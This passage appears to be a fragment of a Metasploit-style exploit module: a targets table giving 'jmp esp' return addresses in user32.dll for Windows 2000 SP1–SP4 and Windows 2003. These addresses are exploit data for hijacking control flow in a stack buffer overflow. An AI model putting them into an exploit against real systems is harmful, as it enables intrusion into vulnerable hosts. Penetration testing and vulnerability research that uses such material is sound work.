['Windows 2000 English SP1',     { 'Ret' => 0x77e3cb4c }], # jmp esp user32.dll
          ['Windows 2000 English SP2',     { 'Ret' => 0x77e3af64 }], # jmp esp user32.dll
          ['Windows 2000 English SP3',     { 'Ret' => 0x77e388a7 }], # jmp esp user32.dll
          ['Windows 2000 English SP4',     { 'Ret' => 0x77e3c256 }], # jmp esp user32.dll
          ['Windows 2003 English SP0/SP1', { 'Ret' => 0x77d74c94 }], # jmp esp user32.dll